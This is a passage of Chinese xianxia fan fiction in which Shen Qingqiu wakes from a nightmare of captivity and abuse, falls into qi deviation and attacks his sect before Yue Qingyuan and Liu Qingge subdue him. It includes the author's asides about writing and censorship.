各种刑罚与折辱,沈清秋连个痛音都不吭;堪称暴烈的房事,哪怕是指甲都抓劈了,手心破烂得血污一片,也半个疼字都没有。 但若是洛冰河表现出一丝的正经关怀与守信,沈清秋下意识就会相信,还无意之间摆出上位者姿态,对他下指令。 当然,洛冰河尊不遵守,就在两说之间了。 如此有趣的‘沈清秋’,洛冰河还真舍不得让他死 ,或成为没有灵魂的傀儡木偶。 沈清秋大声咳嗽着,右手拍击着胸口,口鼻齐用,以最大程度吸收着氧气,缓解肺部的灼热。 面前忽然有风浮动,某个不属于自己的气味从对面飘来。耳垂突然被人含着,低沉暗哑的声音透过耳骨传入耳膜: “师尊,你若是不给点反应,弟子这边释放不了,是不会停下的。” ———— ———— 乌压压的黑气蔓延,过于黏稠的空气堵在鼻腔,令人喘不过气。 身后是四散崩裂的伤口与止不住流淌的猩红鲜血,搭配着波涛汹涌的浪花疯狂被撕裂。 这场凌迟究竟什么时候结束,又会在什么样的情况下真正放他去死? 他要如何才能逃离,又该用什么样的办法令对方失去兴趣? 黑夜之后总会黎明,可黎明啊,你究竟什么时候才能到来? ———— ———— 在一身冷汗之后,沈清秋终于推开了压制自己许久的‘物品’,看到独属于夜晚的、斜洒而下的月光。 ‘月……?’ 沈清秋抬起头,努力确认脸上不曾被绑上布锦,手腕也没有厚重冰冷的寒铁——甚至于,从不曾消除的腰疼与膝盖,都好似轻松又平缓。 而之前一直压着自己的,只是一床再普通不过的棉被。 ‘是噩梦,还是谁布下的困阵?’ 沈清秋看着被乌云遮盖后,重新一片漆黑的屋。随手一记‘萤火微光’点亮屋子,眼角无意识滑下滴冰凉液体。 无论是什么,他醒来了,就好。 沈清秋抬起右手,触碰那一片很快就干涸的脸庞。 细腻、温润、富有弹性,是精致养护之下,生命本源充沛的象征。 是噩梦啊。 沈清秋摸着疯狂跳动的心脏,深呼吸。 那是一场,稍微回想一下,心脏都会撕裂的噩梦。胸腔内部瞬间引发某种剧烈的动荡,某种酸苦的液体挤压于喉头,恶心的抽搐几乎令人想吐。 弱点被人拿捏的感觉,可真糟糕。 势不如人、被人欺压的感觉,更是恨不得早早自裁。 没事的。 沈清秋将掌握成拳,指尖与掌心留下深深的月牙。伸手不见五指的深夜之中,不会有人看到他的神情,亦无人会察觉到他那一闪而过的破碎。 这里是清静峰,是他居住良久的竹屋。 而今的他,修为是金丹中期偏大圆满。只需要一个契机,金丹后期的修为,能令他四海八荒横着走。 月光再次温柔的打开窗帘,驱散寒夜的噩梦。千百年来,寂寥的寒月映照着世间的一切,不言不语。 江畔何人初见月,江月何年初照人? 不知为何,今晚的明月……亮得让人想要落泪。 也或许…… 是黄粱一梦之中,被囚禁之人,后半辈子都不曾再次见到之物。 在那场怎么样也醒不过来的梦魇之中,不仅是家破人亡、孤苦伶仃,还有夜夜笙歌、日日沉沦。漆黑的屋子里,除了对方闪着残忍嗜血的眸子,就是叮叮当当的铁链。 而身为囚犯,是不可能走出屋子、甚至走下床铺的。 阳光、星辰、高悬明月。 这些平日里惯常见到之物,却如同咫尺天涯,再无缘相见。 好在。他终于醒来了。 虽梦境所见忘却大半,可总归也算是某种预知。即便是那些无一正确,正好也验证了‘此为噩梦’。 至于胸口残留的所有心悸,只是坏他道心的梦魇。 他只是修炼时走火入魔,陷入心魔劫而已。 而今,既然‘醒来’,就绝不可能‘重蹈覆辙’。 ——碎碎念—— 我觉得我写的应该很隐晦寻常了……所以为什么会被屏啊 第二章生而无畏、战且周章 走火入魔九+温厚七+医师木+战力柳 ———— 月华如水,像是明亮的匹链般倾洒于后山之中,恍若白昼。 银色的光辉穿透薄薄的云层,洒在青石草径上,泛起一层淡淡的霜白。微风吹拂之间,一旁的竹林沙沙作响,竹叶随风摇曳,带起别样的孤寂。 远处山峦的轮廓在月光下若隐若现,更添了几分神秘与幽远。在这如梦似幻的月色下,有一人于空旷的练武场中练剑。剑光闪烁,划破夜的宁静,与月光交织成一幅动人的画卷。 “师尊?”被响动吸引过来的明帆,揉了揉惺忪睡眼,寻声望去。看着在月光下练剑的沈清秋,敏锐察觉到一丝不对劲。 沈清秋身着一袭白色衬衣,发丝随意飘散,连发冠都未曾佩戴,乌黑的长发随意披散在肩头,随剑势舞动,更添了几分狂放不羁。 修雅剑寒光闪烁,剑势凌厉。剑招灵动不足,力度有余,一招一式舍弃了清静峰一惯的飘渺仙气,反而招招杀机、步步直戳要害。剑尖所指之处,连寂寥夜色都撕裂开来,劲风阵阵。 这不像是清静峰之主练出来的剑势,反而有点百战峰一剑斩仙的路子,是那种从不花里胡哨、直捣黄龙的杀招。雷霆剑影中,沈清秋的面容也显得格外冷峻,眉宇间似有寒霜,与平日里那温润如玉的气质截然不同,宛如刚从生死擂台中走下。 师尊这是——受刺激了? 明帆心中暗自惊叹,站在原地,一时竟有些不知所措。微风拂过,他轻手轻脚的转身离开,于古朴的茶炉中添上几块干柴,壶中清水翻滚,茶香渐起。随着茶水咕噜噜的响着,明帆静立一旁,凝望着练剑之人的刺砍点撩、起承转合,静等着对方收势。 “怎么不睡了?” 清冷的声音骤然响起。 明帆抬眸,只见沈清秋已然转头看向自己,右手顺势一挥,耍出一招控鹤游龙,剑穗伴随着腕花潇洒飘逸,极具风流。修雅长剑背在身后,迈着沉稳的步伐悠悠走来。 沈清秋走到近前,左手伸出接过明帆递来的茶盏,将温热的茶水一饮而尽。目光落在明帆身旁提着的那盏昏黄灯笼上,灯火摇曳间,映照着两人面庞。 星光点点的天空之中,圆满如玉盘的明月照耀着万物。地面的烛火中,橘色的光芒连夜色都衬得温柔。 沈清秋嘴角难得地露出一丝浅淡笑意,像是退去了所有冷漠与孤傲,声音平和中蕴含着对晚辈的关心:“打扰到你休息?” 明帆连忙摆手,恭恭敬敬地行礼说道: “师尊怎会打扰到弟子?应是弟子扰了师尊练剑的兴致。师尊可是心情不好?” 说罢,他重新拿起茶壶,小心翼翼地将茶水添好。看着一身单薄衣衫、额头略有微汗的沈清秋,赶忙从储物袋中取出一件墨色披风,快步上前,轻轻替沈清秋盖上肩膀,声音中带着明晃晃的关切: “师尊,虽说以您的修为不惧寒暑,但夜间天凉,还是莫要着了风寒。” ‘师尊,这长夜漫漫,弟子定要陪您共度才好。’ 明帆的表情是一如既往的恭敬蓉慕,言辞之间亦是体贴入微,动作也恪守礼节,绝不逾矩。 只是耳边传来的声音,颇为莫名其妙。 沈清秋眼里闪过弑杀的冷意,脸颊骤然间绷紧。这样的声音、这样的语调,真是该死的欠揍讨打,想让人弄死对方。 沈清秋微微摇了摇头,右手按在胸口,平定着因练剑而快速跳动的心脏。额前的发丝被汗水浸湿,几缕贴在脸颊上,更显放浪不羁。 长剑归鞘,剑身发出清脆的声响,宛如凌冽寒风中的空吟。他抬眸望向明帆,面对熟悉之人,沈清秋眼中的凌厉之色渐渐褪去,开口问寻道:“怎会突然醒来?” 如果沈清秋记得不错,明帆并不是一个喜欢起夜的弟子。 “师尊心神不宁,弟子自然睡不安闲。出门探望一下师尊,若是师尊安好,弟子再睡不迟。” 明帆的回答妥帖又暖心,眼神也是温和平静中满是关切与担忧。披在身后的鹤氅传来独属于毛羽的柔软温度,这个大弟子,总是能带给他身为人师的成就感。 只是沈清秋的耳边却像是听到了一声轻笑,侧脸仿佛被人喷洒上热气,带着笑意的话语从骨廓传来: ‘当然是弟子与师尊心有灵犀。师尊,弟子这么做可还满意?’ 沈清秋下意识扭过头,看向侧后方。空无一人的竹林里,除了刮起的微风与竹林被吹拂的沙沙声,什么也没有。 尤其是,运动过后的热意缓慢减退,温度降低之后,连风都显得冰凉。寒意顺着衣服缝隙爬入,摩擦在皮肤之上,激起无数细细密密的鸡皮疙瘩。 “冷。” 沈清秋低声叹了句。 耳边的声音再次响起,虽听不清楚具体音色,却完全可以察觉到对方话语中的恶劣:‘师尊冷了?弟子会努力让师尊暖和起来的。’ “冷?”明帆看着状态好像比之前更差的沈清秋,也不顾及什么忌讳了,上前直接拉住对方的衣袖,就要将人向屋里带:“您情况不太好,弟子现在就派人去请木师叔,您先喝口茶暖暖身子。” 就在明帆刚刚伸手触及到沈清秋略带汗意的手腕时,沈清秋像是被火烫到一般,猛地用力将他狠狠甩开。这一甩所用力道之大,令毫无防备的明帆整个人向后飞去。 紧接着,沈清秋又迅速飞起一脚,朝着还在空中的明帆踹去。只听一声惨叫传来,“诶呦......” 明帆先是被这突如其来的大力甩开,又莫名其妙的于腾空中被一脚踢中,身体一下子失去平衡,不由自主就要向地面栽倒而去。 为了保护自身,明帆也顾不上体态与风度,连忙收缩肩膀,以右肩和右胳膊为落地点,在接触地面的瞬间快速后背落地并打滚卸力,向一旁躲闪而去。 待明帆险之又险的保住小命后,他瞳孔猛然睁大,狼狈且急促的凭借本能躲开沈清秋狂风骤雨般袭来的又一波‘攻击’。音腔中带着不敢置信的哭意与委屈:“师尊?” 这不应该啊!明帆什么时候受到过这样的委屈?一向温和待他的沈清秋怎么会突然像对待仇人一样下如此重手?而且若非他躲得快,现在必然要骨折重伤不可! 然而,此时的沈清秋却仿佛根本听不到明帆的呼喊,又或者说,他已经完全沉浸在了自己的世界之中、根本分不清楚面前之人究竟是谁。 当他听到“师尊”这两个字的时候,不仅没有动容,反而神情变得愈发狂躁起来。只见他手腕一抖,手中长剑寒光闪烁,凌厉的剑势罡风阵阵,每一招每一式都是直直地朝着明帆的要害攻去。 面对如此凶猛的攻势,明帆只能狼狈地左躲右闪,根本无法还手。 一方面是他筑基期的修为完全不足以对抗金丹中期的沈清秋;另一方面则是,身为弟子的他,即便是被身为师尊的沈清秋活活打死,也完全合乎礼法。 随着两人之间激烈的打斗声不断响起,原本处于睡梦中的清静峰瞬间热闹了起来。不一会儿功夫,众多弟子纷纷从各自的房间里跑了出来。当他们看到眼前的场景时,个个都惊得六神无主—— 沈清秋居然在责打明帆?是他们没睡醒做了梦,还是明帆干了什么欺师罔上、天怒人怨的事情? 一时间,整个场面乱成一团,各种惊呼声此起彼伏。"明帆师兄!""大师兄!""师尊!"众人一边大声呼喊着,一边试图上前劝解,但却又顾惜自身,不敢轻易靠近正在激战中的两人。 只是已陷入癫狂状态的沈清秋哪里听得进去这些呼喊声,猩红的色彩覆盖于他的眼眸,所有发声的、站立的、闪避的、试图以言语唤醒他的人,都被他视为敌人。 沈清秋手中的长剑挥舞得越来越快,招式也越发凶狠。所有站在他面前的活物都被他以迅雷不及掩耳之势狠狠镇压,清静峰的弟子们除了哭爹喊娘的想方设法躲避,倒是也有几个集结众人尝试对抗的。 只是在境界的压制、经验的差距下,沈清秋毫不留情地将所有人都狠狠地打杀了一顿。所有能跑的都在绞尽脑汁逃亡,跑不动的除了叫苦不迭、跪地求饶外,开始口吐莲花。 清静峰的弟子们都被‘教训’了一个遍,地面上零零碎碎躺了不少人。可沈清秋却像是进入狂暴模式一样,哪怕是大家都躺在地上或者聚在一起瑟瑟发抖,也免不了被一剑刺过来的下场。 “师兄!明帆师兄!救救我们!” “大师兄救我啊!” “师尊,我是xx啊!师尊!” “别!师尊!弟子是xx!您别打了!” 一片哀嚎声中,清静峰弟子们第一次知道这个天天与柳清歌对斗的‘花架子’,究竟是凭什么能与对方五五开;又凭什么,清静峰在苍穹山的排名比热血善打的百战峰还高。 就在众人四处躲闪、满地打滚的时候,木清芳与岳清源几乎在同一时间赶到。 但眼前走火入魔、陷入狂躁状态的沈清秋完全没办法通过言语唤醒,亦不能通过简单的阵法进行压制。其状况之严重远远超出了木清芳最初的预料,普通的药草与针灸等治疗手段在此刻已完全失去了作用。 “掌门师兄……”木清芳面露难色。 他是药学研究者,单纯以武力来说,是没办法控制住发狂的沈清秋的。而想要他治疗或开方子,首先需要病人状态平稳,至少给他把脉的机会。 只是木清芳还没来得及提需求,岳清源已站到了沈清秋的身旁,一边躲避着对方招招致命的攻击,一边苦口婆心的劝导。 而清静峰的那些弟子们,在看见岳掌门的那一刻,喜极而涕的像是见到了天神:“掌门师伯!”“呜呜呜师伯!”“师伯您终于来了!” 岳清源冲他们挥挥手,示意他们赶紧走。又转头冲木清芳喊到:“木师弟别担心,柳师弟应该快到了。” 身为经常性闹事的沈不孝子,岳老母已经习惯给对方善后。并且还养成了沈清秋有事、第一时间喊柳清歌干活的良好习惯。 甭管是离家出走后差柳清歌去找人,还是打架惹事后让柳清歌去捞人,亦或是间接性发狂后令柳清歌去将人打晕…… 柳清歌是各种意义上都相当靠谱且好用的。 岳清源不会对沈清秋刀剑相交,但走火入魔的沈清秋却会对着岳清源一视同仁的猛烈攻击、招招毙命。 岳清源施展飘渺七星步躲闪着沈清秋的砍杀,小心翼翼的用灵力布置大型困阵,将包括竹林在内的清静峰正院包围起来。接着又一步三回头的引着沈清秋随自己来回跳动,尽可能的消耗对方体内存留的灵力。 走火入魔者往往会血脉倒流、灵气倒灌,只要把多余的灵力消耗殆尽,接着以正确的运转方式引导体内真气正常流动,佐以灵丹妙药辅助,问题不大。 但若是没有第一时间发现并制止,暴虐的乱流则会撕碎修真者体内的灵脉。运气好只是皴裂破损,运气不好的,甚至会直接全部碎裂成块,完全没有弥补修复的可能! 所以说,岳清源需要尽可能快速的将沈清秋体内的灵力消耗干净,接着用丹药为其修补经脉,将这件事的危害降至最低才行。 四周的建筑因沈清秋狂暴的剑势被劈得七零八落,中间的竹屋却被岳清源小心布于阵眼,得以保全。 随着沈清秋的状况愈发失控,岳清源已从最开始的‘躲避奔跳’变成了赤手空拳应对修雅灵剑。而另一边,远在山下做任务、被急急忙忙召回的柳清歌终于赶来。 一身素白长衫、身姿挺拔如苍茫长剑的柳清歌于夜空之空宛如谪仙临凡,以纯白发带捆起的高马尾伴着衣袂随风飘动;叠加上洁净俊秀的冷面,整个人仿佛一把刚出鞘的宝剑,即便是颇具仙风道骨之韵的端庄道袍、也掩不住其凌厉刀锋。 他对着不远处的两人拱手一礼,身形陡然一动化作一道流光,快若闪电般欺身而上,瞬间便出现在沈清秋身旁。只见他手腕轻翻,“呛啷” 一声,寒光凛冽的乘鸾剑陡然出鞘,转眼之间便已抬手攻去。剑光如九天银河倾泻而下,仿若九月秋风般自带肃杀之气: “野路子,半夜发什么疯?” 沈清秋也非等闲之辈,感受到从侧方而来的凌厉剑气,抬眼间便已洞察敌人的攻势。一招云手将赤手空拳的岳清源推开,接着一招青松问路将身子转正,手腕灵动一转,长剑挥舞得密不透风。 剑影闪烁间,无数泛着银色亮光的弧线就像是夜空中跳舞的精灵,快速由点至线、从线集结成片,形成一道虚幻的白色光幕,抵挡着柳清歌横冲而来的罡气。 柳清歌的剑以力破万物,随手抖动间剑身寒光暴涨,化作一道道虚影。这些剑影纵横交错,形成一个巨大的剑网,所到之处,如疾风骤雨,又似汹涌波涛,带着排山倒海之势汹涌而来。 他这一剑挥出,本就打着一招制敌的念头,故而森寒光芒之上,凌烈剑气仿若无数利刃,以沈清秋为中心,向四周扩散,所及之处,剑气如丝如缕,将周围的空气都搅得扭曲变形。将沈清秋周身全然包裹,切断对方所有退路。 罡气与剑盾相撞,发出“轰”的一声巨响。气浪四溢,周围的草木瞬间被砍得枝叶断折、凄凉零碎,山林间的飞鸟被惊起,四散而逃;尘土飞扬间,连远处的山石都被震得‘轰隆’一声碎裂。 然沈清秋虽神智不清,战斗本能依旧敏锐。先是挥出剑幕稳稳挡住柳清歌的大招,接着左脚跨出一步拉开距离,步伐间交错踏出鬼影密踪步,身形如鬼魅般毫不退让地将柳清歌拉至自己面前。眼中寒芒闪烁,杀意凛然。 沈清秋身形下沉,周身肌肉紧绷,体内气势陡然攀升。右脚猛地踏向地面,力从地起、劲达腰间,抬起的这一脚蕴含着刚猛劲道,还裹挟着锐啸的破风之声。以他这一脚为中心,周围三尺内的地面瞬间龟裂,无形的冲击波自腿脚汇聚,直取柳清歌面门: “竖子受死!” 两人你来我往,恰似针尖对麦芒,拼杀之间皆是毫不留情。 柳清歌性情简单干脆、剑招亦是势强凌厉、刚猛霸道,习惯以强大实力碾压一切,简约直白的刺砍劈挑中,剑尖所指之处,连空气都被撕裂。 沈清秋往日里修身养性,惯常爱好绚丽繁杂、诡异莫测,然此时走火入魔,竟一改往日之浮夸风,力道厚重而招式简约,一招一式皆带着开山裂石之势,剑锋所向,无坚不摧。 剑影翻飞、尘埃乱起间,修雅剑与乘鸾剑无数次相互碰撞,发出清脆的金铁交鸣之声。火星四溅、剑气纵横。两人在空中你来我往,银光交织,宛如两道流星在夜空中碰撞,发出璀璨耀眼的亮光和霹雳的响声。 柳清歌与沈清秋的不合整个苍穹山都知晓,所有人都觉得以沈清秋这个喜好拈花惹草、流连风月的性子,即便是与柳清歌对战,也无非是走几个过场。可两人真正以死拼杀、势必要搞个你死我活、全力以赴到每一招每一式都要将对方置之于死地的争战,却是第一次被众人所知、所观。 那句‘沈清秋又被柳清歌绑回清静峰了’,直到现在还被无数弟子引为笑料。 可真正看见沈清秋火力全开的与柳清歌对打,并且还真的能打的旗鼓相当、战力五五开后,众人全部都紧闭唇舌,再也不敢肆意拉踩。 众人不知道沈清秋与柳清歌之间究竟有什么样的深仇大恨,又存在着什么样的曾经与过往,他们知道的只有一件事——柳清歌单方面不理睬沈清秋,沈清秋亦不愿与柳清歌有过多的接触。若非掌门人刻意制造两人接触的机会,两人怕是要一直陌路下去。 走火入魔的沈清秋在战斗中早就舍弃了那些花里胡哨的套路,剑招直接而狠辣,每一击都直逼柳清歌要害。柳清歌以为对方重拾下三路功法,欲直截了当的谋杀自己性命。 随着他习惯了沈清秋的直来直往、凶横狠辣后,柳清歌越战越酣畅淋漓。久违的棋逢对手,令柳清歌恍惚间想起曾经他与沈清秋斗嘴干架的青葱岁月。而就在柳清歌有些怀念过往的时候,沈清秋却突然贴脸开大,欲以漫天剑影无差别、地毯式轰杀于他。 随着沈清秋虚实结合的一招‘龙啸九天’中,柳清歌的面前出现了万千道闪着凌冽剑光的虚影。这些剑影仿若实质,带着毁天灭地的气势,连周围的空气都被这凌厉的剑气所震颤,发出惊雷呼啸之声。 柳清歌迎战技巧极佳,即便是如此危机之势,他亦是丝毫不乱。下盘扎得极为稳当,宛如磐石般稳固,任凭沈清秋的狂风暴雨般的攻势,也无法将他撼动分毫。在躲避开沈清秋狂风暴雨般的攻势后,瞅准沈清秋剑招中的一丝间隙,快步欺身向前。 柳清歌右手执剑,以一个精妙的角度快速格挡开沈清秋刺来的一剑,双剑碰撞之处,噼里啪啦的火花四溅。左手顺势伸出,犹如一条灵动的蛟蛇,一招金丝缠腕躲开对方的格挡,精准地拿捏住对方的肩膀。 这一抓,劲道拿捏得恰到好处,既不会让沈清秋轻易挣脱,又不至于直接伤其筋骨。随后,柳清歌左手猛地发力,就要将沈清秋控在地上。 清静峰的弟子们早就瑟瑟发抖的躲在岳掌门与木师叔身旁,在看见平日里最为抵触、现今却如神从天降的救世主柳清歌,心中的石头终于落地,生出一种‘大难不死’的感叹来。 “所以师尊平日里修身养性,是真的骗过了所有人啊……” “有没有可能,师尊和柳师叔属于不打不相识?” “欢喜冤家那种?” “咋可能!”某位弟子下意识抖了抖肩膀,快速反驳:“那叫惺惺相惜!” 柳清歌的出手堪称‘快狠准’,以迅雷不及掩耳之势,这场对战已尘埃落定。沈清秋被柳清歌牢牢的压在地上,却完全不愿老实被俘。 见此,柳清歌厉声冷喝:“不要动!” 只是不知沈清秋究竟深陷何等心魔之中,挣扎力度有增无减,最后竟是一声冷笑:“你最好现在就把本尊给杀了,否则本尊迟早弄死你!” “……” 柳清歌没想到自己在对方心里居然如此‘重要’,哪怕是走火入魔成这样,也要选择弄死自己。而且对方也确实曾多次出手、数次欲置自己于死地。 只是就当下而言,看着完全看不清楚情形、还在自己手下拼命挣扎反抗的沈清秋,柳清歌竟有些哭笑不得:“沈清秋,这句话说了那么多年,你杀了我那么多次,还不累?” 岳清源突然闪现在柳清歌身边,双指并起点在沈清秋后颈穴道之上。接着将晕倒欲摔之人抱在怀里,冲木清芳点点头:“木师弟,请过来一下。” 接着又满眼歉意的看着柳清歌,一方面不满对方粗鲁干脆的手段,一方面却又像所有对自家孩子下不了手的慈父一样,无可奈何的看着老师:“柳师弟辛苦了。清秋师弟他……” “掌门师兄不必说,柳某懂得。”柳清歌及时打断对方的唠唠叨叨。 掌门师兄哪里都好,就是只要一遇见沈清秋的事情,立刻化身老妈子。各种关心与偏爱不必说,连言辞上都能不带重复的讲上几个时辰。 对于平日里话极少,又与沈清秋完全不对付的柳清歌来说。听掌门师兄如何关爱沈清秋,又如何替他解决善后,实在是……鸡同鸭讲、强人所难。 故而。柳清歌极其干脆的拱手行礼,留下一句“柳某先行告退”后转身就走。其身姿之潇洒、动作之迅速,相当符合寡言少语、一心修炼的剑痴特性。 ———— “明帆。这次什么情况。” 苦逼大弟子明帆先是关心师尊被打被砍,接着又着急忙慌的四处奔逃;被其他弟子言语挤兑后、大家一起被师尊狠揍;最后还‘围观’了沈清秋与柳清歌的狂躁对决,被一群人叽叽喳喳的拉着试图挖取八卦。 这其中的酸楚,实在是不足为外人道也。 当然,现在还得带着一身伤,向掌门师伯汇报关于沈清秋走火入魔的具体情况。 岳清源听着明帆将前因后果一一道来,脑子却越发迷糊。 什么叫,大半夜着中衣练剑? 什么是,喊‘师尊’后被打的更狠? 什么算,‘欲扶师尊进屋却被甩开’? 这些东西,外加上沈清秋突然舍弃飘渺若仙的清静峰套路招式,改而成杀意颇重的杀招后,违和感与不真实感更为明显。 这已不是单纯的‘走火入魔’能解释了。 更像是受到其他人的陷害,陷入分辨不清楚幻境与现实的梦魇之中,无差别杀伤所有敢接近之人。 那么。究竟是谁,敢如此算计被岳清源光明正大维护的沈清秋? 是觉得苍穹山最近平静了,连个阿猫阿狗都敢挑衅苍穹山的一峰之主了? ——碎碎念—— 以前写打斗很爽的,现在写个打斗累的要死… 果然是年纪大了,武侠死太久啊。 第三章拒绝如何不是保护 半记忆九+温厚七+简单干脆柳 ———— “醒了?”温和厚重的声音于耳畔升起,带着浓重的关心和被隐藏极深的疲惫。 “嗯。”沈清秋缓缓睁开眼,眸中寒星闪烁,其间却布满了血丝。他微微侧头,映入眼帘的便是岳清源那熟悉的面容。岁月在这张脸上留下了些许痕迹,却依旧保持着厚实与从容。 沈清秋微微伸伸手指,感知着由久睡带来的僵硬,以及随着意识恢复后逐渐重回掌控的支配。看向岳清源的目光透着几分疏离,语气平静中带毫不留念的决绝: “岳掌门事务众多,沈某这边就不留了。明帆,送岳掌门出去!” 声音虽还透着几分病弱,逐客态度却是不容置疑的坚定。 刚醒来心情不好,不愿与人打交道,故而直接送客走人,完全没毛病。 只是对面那个,恐怕不会这么想。 “清秋师弟…”岳清源眉头轻皱,眼中满是不赞同之色。无奈的叹口气,伸手将一旁还冒着袅袅热气的药碗缓缓送过去。 只是看见连药都不愿意喝的沈清秋,以及出现在自己面前的明帆,轻轻的摇摇头,语气里带着属于兄长的关切,与对待晚辈的关怀。 “明帆师侄,你且先去看一下剩下的药熬好没有,我与你师尊另有事商议。” 虽然行为上有些无赖,但总比话还没说两句就被丢出去的好。沈清秋大病初愈,最是需要人关心的时刻,他若是因沈清秋的态度转身离开,才是不该! “明帆!”沈清秋仿若没听到岳清源的话,再次冷声重复道。 第二次。 岳清源心中一跳,眼里有些受伤。但更多的,是孩子大了不由人,把自己搞成这样还不愿意好好吃药、甚至将家长撵出房门。 “小九!”岳清源的声音有些加重,眉头紧紧皱起。换这个称呼,是因为此刻他不再以苍穹山掌门自居,而是以‘沈九的七哥’来照顾姊弟。 沈清秋与岳清源是同样的成年人。 但沈九永远是岳七的幼弟,是他曾经亏欠过的孩童,是需要他小心照料、认真弥补的童年玩伴。 想到对方大半夜出去练剑,将自己搞得那么狼狈不说,还走火入魔到恨不得砍杀一切,岳清源心里除了明面上的关切,还有说不出的心疼。 沈清秋究竟生了什么样的心魔,又在心魔之中遇见了什么,才能令他连成年后的从容全然不顾,一心一意只想毁灭所有可见之物? 尤其是,明帆曾提及的‘触碰手腕后走火入魔’,‘呼喊〈师尊〉后不仅没能唤回神志,反而被打得更狠’,以及……一视同仁的对所有人都举起修雅,一剑斩仙。 这其中必然发生了什么他不知道的事情,而这个事情,正是沈清秋莫名其妙走火入魔的根本原因。 解铃还须系铃人,打蛇需要斩七寸。如果岳清源连沈清秋为什么而发火、为何而崩溃、为谁而恨不得毁灭一切,岳清源很难替沈清秋解决这件事。 看着表情烦躁却不再言语的沈清秋,岳清源舒展聚拢的眉峰,用温和语调将明帆打发出去:“明帆师侄,且先出去。” 明帆左右为难,脸上颇为纠结。 他很想知道师尊究竟发生了什么事情,也明白岳师伯是与师尊最为亲近之人。岳师伯留下定然是要替师尊解开心结,再不济也会督促对方吃药。 只是师尊一醒来就要求岳师伯立刻离开,又一言不发的盯着自己的手指屈伸运动,一副‘劳资不想理任何人’的抗拒态度。 师尊的意思是让所有人离开,他需要静养。虽然很符合师尊的一惯性情,却难免存在〈出意外而无人知〉的可能性。 留下岳师伯,虽然师尊会不满,但整体的情况却能得到最大程度的控制。而且以岳师伯和师尊的交情,师尊的心结得到解开,一切都会好起来。 明帆的眼神在两人之间徘徊,最后定定的看向沈清秋——即便师尊之前差点打死他,可他的师尊永远是沈清秋,而他最该听的,也是沈清秋的吩咐。 他不该用自己的想法去揣摩师尊的心思,更不能用自以为的‘对他好’将自己的意志强加给师尊。他是师尊的弟子,就该无条件听从师尊的吩咐。 “出去。” 这一声中透着寒意,其中的不耐烦昭然若揭。 明帆立刻站在岳清源身旁,准备礼貌的将对方请出去。 只是岳清源仿若未觉,极其自然的端起药碗,微微俯身,动作轻柔而熟练,舀起一勺就要给对方喂药。汤勺随着他的动作轻轻晃动,褐色的液体散发出一股淡淡的药香。 沈清秋嫌弃的侧脸避开,半坐起身,劈手夺过药碗,仰头一口将药喝完。苦涩的药味在舌尖蔓延开来,眉头因药物的苦涩微微皱起。 岳清源眼疾手快的及时送上酸枣与蜜饯,紧接着又递上一杯温茶水。其动作行云流水,仿若早就习惯、并且做过无数次一般。 此情此景,明帆看着满脸嫌弃的沈清秋和一脸温厚的岳清源,自觉退出房门,顺手将房门轻轻带上,给自己找事去。 看着极为乖觉、悄无声息离开的明帆,岳清源脸上勾起一丝轻松的微笑,像是与人小小争锋后胜利般。 “说吧。”沈清秋用茶水漱了漱口,轻轻吐在一旁的铜盆之中,用布锦将嘴角擦干净,声音依旧带着不愿与人交谈的冷淡。 “小……清秋师弟。”岳清源看着冷眼刀自己沈清秋,立刻将称呼改回来。接着用一惯的敦厚祥和,与满得几乎要溢出来关切进行开解: “你这次走火入魔很严重,心魔乃是每个修真者都难以跨过的一道坎。唯有一切看淡,解决执念,才是跨过这道坎的方法。” “修真者修心为重,只要问心无愧,便没有渡不过去的坎;只要气正神宁,便会万般幻境皆消。” “无论你在心魔之中看见了什么、听见了什么、遇见了什么,只要坚守道心、认清本源,便能破除一切虚妄,粉碎心魔。” “纵是国破家亡、独留残躯?” 沈清秋嘴角勾起讽刺,眼中闪过真切的痛楚。他虽表现的无情无欲,可总归是见不得其他人飘零惨死,魂归黄泉。 ‘算了。’沈清秋因激动而半坐的身子有些虚弱,愤恨之后反倒无力。他与岳清源说这些有什么用,他甚至连情景都记不真切,又如何能被人开解?如何寻求破局之法? 强撑起的手腕忽然一松,沈清秋不可避免的向侧后方倒去。 岳清源急忙替对方用被褥踮起后背,却在下意识揽着沈清秋肩膀时,被沈清秋一道如利刃般的灵力推开:“岳掌门,你该走了。” 其声音之凛冽,眼神之凶恶,就像是在发疯崩溃的边缘、天堂与地狱的界限,岌岌可危的站立着。 屋内的空气也因为这句话瞬间冷了下来,沈清秋脸上的表情复杂到没有词汇可以形容。 那是一种,预知到未来艰险、毅然决然推开所有与他存在关联之人的协助,决绝的踏入既定命运,以单薄身躯对抗一切的,孤寂。 “清秋师弟,是我的错。” 岳清源被人无情推开,脸上闪过震惊和无奈,很快稳住了身姿。这个被恶狠狠推离之人反而要向发起攻击的人道歉,当真是……过于倒反天罡。 沈清秋右手成拳握紧,狠狠的闭上眼,心中不停告知自己‘这家伙为自己送过命’。努力压制着源于本能的反感,片刻后,缓缓睁开眼睛,目光平淡而冷漠,下最后通牒: “沈某累了,掌门可以回去了。” 他昨天半夜将所有人打杀一通,现在又明确拒绝岳清源的好意,一直让对方离开。 确实有些,说不通。 毕竟沈清秋之前与对方也算是温和相处,而且肆意打杀弟子、损毁财务,也多多少少需要给点说法。 只是。 岳清源不愧是最偏袒沈清秋的人。 他只是眼含心疼与不解的看了沈清秋一眼,留下一份装满了疗伤药物和修复灵脉的储物袋,温声道别后,一步三回头的离开。 临走之前,沈清秋还听到了对方絮絮叨叨的嘱咐明帆,让他什么事情按照什么流程将清静峰事务分发出去,沈清秋有任何异常第一时间给他发简讯。 ‘岳清源。’ 沈清秋低声念着对方的名字。 最终什么也没说。 —————— 又是新一届的弟子入门,考核之地人山人海、热闹非凡。宽敞的广场上人头攒动,众人三五成群地聚在一起,或交头接耳地讨论着各自家乡的趣事,或兴奋地打量着这充满神秘色彩的山门。 他们的脸上写满了被仙人选中、踏入仙途、寻求长生大道的兴奋与憧憬,眼睛里闪烁着新奇与渴望的光芒,那是对未知的修仙世界的向往与期待。 主持仪式的各峰长老们端坐在主位上,神色庄重、衣着典雅,宽大长袍随风轻轻摆动,长袍上绣着的各种符文与图案,在阳光下闪烁着神秘的光芒,尽显仙家风范。 随着考核正式开始,沈清秋不愿与众人过多接触。故而走下属于清静峰的座椅,独自一人站在一旁的峭立山石上。此山石突兀地立在那里,四周空旷而僻静,正合他的心意。 沈清秋自醒来后越发抵触旁人的触碰,以往,在正常的社交场合,他还能举杯应酬,对弟子的修炼也能耐心指点。可如今,只要有人接近自己一尺之内,他便浑身不自在,那种不适感从心底蔓延至全身,让他不由自主地想要躲避。 